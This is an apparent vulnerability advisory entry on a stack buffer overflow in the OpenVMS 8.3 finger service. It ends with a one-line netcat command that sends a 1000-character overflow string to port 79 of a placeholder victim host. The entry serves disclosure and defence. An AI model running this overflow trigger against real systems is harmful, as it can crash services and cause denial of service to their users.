OpenVms 8.3 Finger Service - Stack Buffer Overflow

                							

                source: http://www.securityfocus.com/bid/30589/info

The finger service ('fingerd') on OpenVMS is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed attempts will likely cause denial-of-service conditions.

We were not told which versions are affected. We will update this BID as more information emerges.

echo `perl -e 'print "a"x1000'` | nc -v victim.example.com 79